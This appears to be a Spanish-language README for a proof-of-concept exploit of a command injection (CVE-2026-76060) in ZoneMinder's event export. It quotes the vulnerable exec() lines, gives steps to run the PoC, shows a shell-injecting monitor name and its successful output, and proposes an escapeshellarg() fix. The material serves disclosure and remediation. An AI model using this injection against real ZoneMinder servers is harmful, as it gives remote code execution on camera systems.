
Prueba de concepto de explotación para CVE-2026-76060, una inyección de comandos del sistema operativo en la exportación de eventos de ZoneMinder, que demuestra la ejecución remota de código (RCE) mediante nombres de monitor manipulados.
Prueba de concepto de una vulnerabilidad de inyección de comandos del sistema operativo en la funcionalidad de exportación de eventos de ZoneMinder (web/includes/download_functions.php).
Los nombres de los monitores se interpolan directamente en los comandos de shell utilizando un envoltorio manual de comillas simples en lugar de escapeshellarg(). Un atacante que pueda crear un monitor puede inyectar comandos de shell arbitrarios que se ejecutan como www-data/quien sea el usuario del proceso cuando cualquier usuario activa una exportación de eventos.
44c5c3c del 4 de octubre de 2023 es donde se introdujo el archivo download_functions.php. El mensaje del commit es "Introduce new download mode that concats event videos into 1 file per monitor." El código vulnerable está presente aquí, pero requería que un administrador creara primero el monitor.2d49e93 del 2 de enero de 2024 "Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones." Aquí es donde las cosas cambian un poco. Ahora un usuario con solo puede configurar el nombre del monitor para el ataque, y cualquier usuario con permisos de exportación puede activarlo.Monitors=CreateVersiones afectadas: >= 1.37.48 (esto incluye los cambios de migración SQL) y <= 1.38.1 La rama 1.36.x no se ve afectada.
Dos usuarios. Dos niveles de privilegio. Un shell.
Monitors=Create o Monitors=Edit si ya existe un monitor.El registro del evento no necesita crearse manualmente. ZoneMinder es un sistema de cámaras... crea registros de eventos automáticamente mientras las cámaras están en funcionamiento. En una implementación en producción, el paso de configuración es: crear el monitor y alejarse.
El nombre del monitor sin sanitizar llega a dos llamadas exec() separadas:
Línea 126 | ffmpeg:
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
Línea 150 | tar/zip:
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
Ambas son alcanzables desde el mismo nombre de monitor cuidadosamente elaborado, independientemente del formato de exportación.
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# wait for ZoneMinder to finish initializing (~30 seconds)
uv run poc.py
init.sql inicializa la base de datos con autenticación habilitada y dos usuarios:
medpriv con derechos de creación de monitores (y, por motivos de tiempo, también derechos de creación de eventos, pero eso no es necesario en producción)lowpriv con acceso solo a la exportación de eventosuv run poc.py ejecuta la cadena completa:
medpriv se autentica mediante la API y crea un monitor llamado poc'; touch /tmp/pwned; echo 'medpriv crea un registro de evento para acelerar la demostración (en producción, ZoneMinder lo hace automáticamente)lowpriv se autentica y activa una exportación de eventos/tmp/pwned dentro del contenedor e imprime el resultadoSalida esperada:
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NDe cualquier manera, como mínimo escapeshellarg() no cuesta nada.
b3a7c05[!NOTE] Corregido en 12 horas desde el informe. Sin reconocimiento del mantenedor de que esto es un problema de seguridad. No estoy de acuerdo Actualizado 27/08/26 - El mantenedor ha reconocido el informe y se ha emitido el CVE.
Aplicar escapeshellarg() en ambos puntos de inyección como mínimo:
// Line 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// Line 150
$command .= ' '.escapeshellarg($mergedFileName);
Las líneas 116 y 211 en generateFileList() tienen el mismo patrón.
Descubierto por (@investigato)
Informe completo: scriptkittens.com